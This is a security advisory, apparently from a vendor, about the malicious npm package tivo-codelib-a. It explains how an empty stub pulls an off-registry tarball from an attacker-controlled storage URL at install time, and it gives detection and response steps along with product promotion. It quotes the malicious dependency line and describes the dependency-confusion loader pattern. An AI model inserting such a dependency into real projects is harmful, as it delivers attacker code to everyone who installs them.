tivo-codelib-anpm
Malicious code in tivo-codelib-a (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
[email protected] is an empty-stub npm package whose index.js exports module.exports = {} and whose package metadata (description, author) is blank. Its only effect on installers is its sole runtime dependency, which is declared in package.json as a direct HTTPS URL rather than a registry version: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.1.tgz". On npm install, npm fetches that tarball from a Google Cloud Storage bucket (ltidi.storage.googleapis.com/depenconf/) that does not correspond to any reputable publisher, installs it into the consumer's node_modules, and runs any lifecycle scripts it contains. The URL is not hash-pinned, so the bucket owner can swap the tarball contents at any time and ship arbitrary code to every installer. The package name pattern (-codelib-a), the unusually high version (99.9.1), the empty metadata, and the off-registry GCS dependency together match the dependency-confusion smuggler/loader shape: a hollow lure whose install resolves to attacker-controlled code hosted outside the registry.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for tivo-codelib-a (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging tivo-codelib-a across your stack and pipelines.
If you installed it — respond
Remove tivo-codelib-a from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If tivo-codelib-a was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks tivo-codelib-a before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks tivo-codelib-a-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.